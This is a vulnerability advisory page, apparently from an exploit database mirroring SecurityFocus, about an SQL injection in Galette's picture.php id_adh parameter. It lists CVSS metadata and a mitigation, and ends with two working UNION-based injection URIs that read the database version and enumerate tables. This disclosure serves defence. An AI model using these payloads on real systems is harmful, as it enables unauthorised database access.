Galette SQL-injection Vulnerability

vendor:

Galette

by:

SecurityFocus

7,5

CVSS

HIGH

SQL-injection

CWE

Product Name: Galette

Affected Version From: Galette 0.7.x

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Browser

2012

Galette SQL-injection Vulnerability

Galette is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Attackers can use a browser to exploit this issue.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to construct SQL queries in a way that would allow an attacker to modify the logic of the executed query.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/53463/info

Galette is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. 

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

Versions prior to Galette 0.7.x are vulnerable.

Attackers can use a browser to exploit this issue. 

The following example URIs are available. 

http://server/picture.php?id_adh=0+and+1=0+union+select+@@version,null 

http://server/picture.php?id_adh=0+and+1=0+union+select+group_concat(table_name,char(10)),null+from+information_schema.tables